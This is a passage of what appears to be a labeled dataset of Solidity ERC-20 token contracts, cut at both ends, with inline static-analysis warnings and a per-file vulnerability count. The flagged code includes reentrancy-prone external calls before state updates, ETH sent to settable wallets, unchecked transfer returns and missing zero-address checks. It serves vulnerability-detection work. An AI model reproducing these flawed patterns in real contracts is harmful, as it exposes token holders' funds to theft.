| severity: Low | ID: 7938267): YODAP.txWlt_setDevWallet(address).newWallet lacks a zerocheck on \t devReceiver = newWallet\n\t// Recommendation for 7938267: Check that the address is not zero.\n function txWlt_setDevWallet(address newWallet) external onlyOwner {\n emit devReceiverUpdated(newWallet, devReceiver);\n\n\t\t// missing-zero-check | ID: 7938267\n devReceiver = newWallet;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8bf490d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8bf490d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4735eb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4735eb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 083f996): YODAP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(totalBuyFee).div(100) tokensForMarketing += (fees * buyMktFee) / totalBuyFee\n\t// Recommendation for 083f996: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a17a337): YODAP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(totalBuyFee).div(100) tokensForDev += (fees * buyDevFee) / totalBuyFee\n\t// Recommendation for a17a337: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0a619a6): YODAP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(totalSellFee).div(100) tokensForDev += (fees * sellDevFee) / totalSellFee\n\t// Recommendation for 0a619a6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 73acc8e): YODAP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(totalSellFee).div(100) tokensForMarketing += (fees * sellMktFee) / totalSellFee\n\t// Recommendation for 73acc8e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b360a74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b360a74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingLive) {\n require(\n isFeeExempt[from] || isFeeExempt[to],\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (automatedMarketMakerPairs[from] && !isTxLimitExempt[to]) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !isTxLimitExempt[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!isTxLimitExempt[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapBackValueMin;\n\n if (\n canSwap &&\n swapbackEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !isFeeExempt[from] &&\n !isFeeExempt[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 8bf490d\n\t\t\t// reentrancy-benign | ID: 4735eb3\n\t\t\t// reentrancy-eth | ID: b360a74\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: b360a74\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (isFeeExempt[from] || isFeeExempt[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && totalSellFee > 0) {\n\t\t\t\t// divide-before-multiply | ID: 0a619a6\n\t\t\t\t// divide-before-multiply | ID: 73acc8e\n fees = amount.mul(totalSellFee).div(100);\n\n\t\t\t\t// reentrancy-benign | ID: 4735eb3\n\t\t\t\t// divide-before-multiply | ID: 0a619a6\n tokensForDev += (fees * sellDevFee) / totalSellFee;\n\n\t\t\t\t// reentrancy-benign | ID: 4735eb3\n\t\t\t\t// divide-before-multiply | ID: 73acc8e\n tokensForMarketing += (fees * sellMktFee) / totalSellFee;\n } else if (automatedMarketMakerPairs[from] && totalBuyFee > 0) {\n\t\t\t\t// divide-before-multiply | ID: 083f996\n\t\t\t\t// divide-before-multiply | ID: a17a337\n fees = amount.mul(totalBuyFee).div(100);\n\n\t\t\t\t// reentrancy-benign | ID: 4735eb3\n\t\t\t\t// divide-before-multiply | ID: a17a337\n tokensForDev += (fees * buyDevFee) / totalBuyFee;\n\n\t\t\t\t// reentrancy-benign | ID: 4735eb3\n\t\t\t\t// divide-before-multiply | ID: 083f996\n tokensForMarketing += (fees * buyMktFee) / totalBuyFee;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 8bf490d\n\t\t\t\t// reentrancy-eth | ID: b360a74\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 8bf490d\n\t\t// reentrancy-eth | ID: b360a74\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 37020ae): YODAP.setSplit(uint256) should emit an event for split = _split \n\t// Recommendation for 37020ae: Emit an event for critical parameter changes.\n function setSplit(uint256 _split) external onlyOwner {\n\t\t// events-maths | ID: 37020ae\n split = _split;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8bf490d\n\t\t// reentrancy-benign | ID: 4735eb3\n\t\t// reentrancy-benign | ID: d4408f0\n\t\t// reentrancy-eth | ID: b360a74\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d4408f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d4408f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7f0a097): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 7f0a097: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 0aa2485): YODAP.swapBack().success is written in both (success,None) = address(mktReceiver).call{value ethForMkt}() (success,None) = address(projectReceiver).call{value address(this).balance}()\n\t// Recommendation for 0aa2485: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 5a1fa3a): YODAP.swapBack().success is written in both (success,None) = address(devReceiver).call{value ethForDev}() (success,None) = address(mktReceiver).call{value ethForMkt}()\n\t// Recommendation for 5a1fa3a: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapBackValueMax) {\n contractBalance = swapBackValueMax;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n\t\t// reentrancy-benign | ID: d4408f0\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethForDev = address(this).balance.mul(split).div(100);\n\n uint256 ethForMkt = address(this).balance.sub(ethForDev).mul(40).div(\n 100\n );\n\n\t\t// reentrancy-benign | ID: d4408f0\n tokensForMarketing = 0;\n\n\t\t// reentrancy-benign | ID: d4408f0\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 8bf490d\n\t\t// reentrancy-benign | ID: 4735eb3\n\t\t// write-after-write | ID: 5a1fa3a\n\t\t// reentrancy-eth | ID: b360a74\n (success, ) = address(devReceiver).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 8bf490d\n\t\t// reentrancy-benign | ID: 4735eb3\n\t\t// write-after-write | ID: 0aa2485\n\t\t// write-after-write | ID: 5a1fa3a\n\t\t// reentrancy-eth | ID: b360a74\n\t\t// arbitrary-send-eth | ID: 7f0a097\n (success, ) = address(mktReceiver).call{value: ethForMkt}(\"\");\n\n\t\t// reentrancy-events | ID: 8bf490d\n\t\t// reentrancy-benign | ID: 4735eb3\n\t\t// write-after-write | ID: 0aa2485\n\t\t// reentrancy-eth | ID: b360a74\n\t\t// arbitrary-send-eth | ID: 7f0a097\n (success, ) = address(projectReceiver).call{\n value: address(this).balance\n }(\"\");\n }\n}\n", "file_name": "solidity_code_10309.sol", "size_bytes": 32238, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AAPSY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8948240): AAPSY._taxWallet should be immutable \n\t// Recommendation for 8948240: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 398ba2f): AAPSY._initialBuyTax should be constant \n\t// Recommendation for 398ba2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8560119): AAPSY._initialSellTax should be constant \n\t// Recommendation for 8560119: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89050ef): AAPSY._finalBuyTax should be constant \n\t// Recommendation for 89050ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: efd3928): AAPSY._finalSellTax should be constant \n\t// Recommendation for efd3928: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24b6bca): AAPSY._reduceBuyTaxAt should be constant \n\t// Recommendation for 24b6bca: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ead90a): AAPSY._reduceSellTaxAt should be constant \n\t// Recommendation for 6ead90a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17d5f87): AAPSY._preventSwapBefore should be constant \n\t// Recommendation for 17d5f87: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"African American Psycho\";\n\n string private constant _symbol = unicode\"AAPSY\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1374a2): AAPSY._taxSwapThreshold should be constant \n\t// Recommendation for a1374a2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32b9cc5): AAPSY._maxTaxSwap should be constant \n\t// Recommendation for 32b9cc5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 64104d9): AAPSY.uniswapV2Router should be immutable \n\t// Recommendation for 64104d9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd7bd8b): AAPSY.uniswapV2Pair should be immutable \n\t// Recommendation for fd7bd8b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 999c300): AAPSY.sellsPerBlock should be constant \n\t// Recommendation for 999c300: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58ee3ff): AAPSY.buysFirstBlock should be constant \n\t// Recommendation for 58ee3ff: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f30b17): AAPSY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0f30b17: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fe235e1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fe235e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4be0e64): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4be0e64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fe235e1\n\t\t// reentrancy-benign | ID: 4be0e64\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fe235e1\n\t\t// reentrancy-benign | ID: 4be0e64\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2daec9f): AAPSY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2daec9f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4be0e64\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fe235e1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6c5751e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6c5751e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 4dbcc61): AAPSY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 4dbcc61: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b86e716): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b86e716: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5bdff7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5bdff7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 4dbcc61\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 6c5751e\n\t\t\t\t// reentrancy-eth | ID: b86e716\n\t\t\t\t// reentrancy-eth | ID: 5bdff7b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6c5751e\n\t\t\t\t\t// reentrancy-eth | ID: b86e716\n\t\t\t\t\t// reentrancy-eth | ID: 5bdff7b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5bdff7b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5bdff7b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6c5751e\n\t\t\t\t// reentrancy-eth | ID: b86e716\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6c5751e\n\t\t\t\t\t// reentrancy-eth | ID: b86e716\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b86e716\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6c5751e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b86e716\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b86e716\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6c5751e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6c5751e\n\t\t// reentrancy-events | ID: fe235e1\n\t\t// reentrancy-benign | ID: 4be0e64\n\t\t// reentrancy-eth | ID: b86e716\n\t\t// reentrancy-eth | ID: 5bdff7b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 82477a5): AAPSY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 82477a5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6c5751e\n\t\t// reentrancy-events | ID: fe235e1\n\t\t// reentrancy-eth | ID: b86e716\n\t\t// reentrancy-eth | ID: 5bdff7b\n\t\t// arbitrary-send-eth | ID: 82477a5\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 05a0ff4): AAPSY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 05a0ff4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 05a0ff4\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d679b04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d679b04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6b203c3): AAPSY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6b203c3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 44e7022): AAPSY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 44e7022: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fcd2e56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fcd2e56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: d679b04\n\t\t// unused-return | ID: 44e7022\n\t\t// reentrancy-eth | ID: fcd2e56\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d679b04\n\t\t// unused-return | ID: 6b203c3\n\t\t// reentrancy-eth | ID: fcd2e56\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d679b04\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fcd2e56\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: d679b04\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_1031.sol", "size_bytes": 23089, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n 